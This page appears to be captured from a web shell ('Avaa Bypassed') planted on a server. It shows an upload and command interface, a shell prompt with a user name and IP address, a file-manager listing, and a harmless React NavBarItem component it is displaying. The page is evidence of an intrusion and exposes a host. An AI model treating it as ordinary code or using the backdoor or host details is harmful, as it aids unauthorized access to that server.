404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@52.15.115.199: ~ $
import React, {useContext} from 'react';
import InViewContext from 'contexts/InViewContext';
import last from 'lodash/last';

type Props = {
    name: string;
    icon?: React.ReactNode;
    iconOpacity?: string;
    href?: null | string;
    important?: boolean;
    children?: React.ReactNode;
    onClick?: (() => void) | null;
    label?: boolean;
    navRef?: React.MutableRefObject<null>;
};

export default function NavBarItem({
    name,
    href = null,
    icon,
    iconOpacity = 'opacity-50', // Allow optical corrections, eg. the thin Laravel icon
    important = false,
    children = null,
    onClick = null,
    label = true,
    navRef
}: Props) {
    const {inView} = useContext(InViewContext);

    const onClickHandler = (e: React.MouseEvent) => {
        if (onClick) {
            e.preventDefault();
            onClick();
        }
    };

    return (
        <li ref={navRef}>
            <a href={href || `#${name}`} target={href ? '_blank' : '_self'} onClick={onClickHandler}>
                <button
                    className={`
                    group px-3 sm:px-5 h-10 uppercase tracking-wider text-xs font-medium
                    hover:text-red-500
                    ${last(inView) === name ? 'text-red-500' : ''}
                `}
                >
                    {icon &&
                        <span className={`mr-1.5 ${iconOpacity ?? 'opacity-50'}`} >
                            {icon}
                        </span>
                    }
                    {label && (
                        <span>{name.charAt(0).toUpperCase() + name.slice(1)}</span>
                    )}
                    {important && <span className="right-2 top-2.5 absolute w-2 h-2 bg-red-500 rounded-full shadow" />}
                </button>
            </a>
            {children}
        </li>
    );
}

Filemanager

Name Type Size Permission Actions
ui Folder 0755
AppDebugWarning.tsx File 1.95 KB 0644
NavBar.tsx File 7.91 KB 0644
NavBarItem.tsx File 1.86 KB 0644
Section.tsx File 483 B 0644
SettingsDropdown.tsx File 8.79 KB 0644
ShareDropdown.tsx File 4.99 KB 0644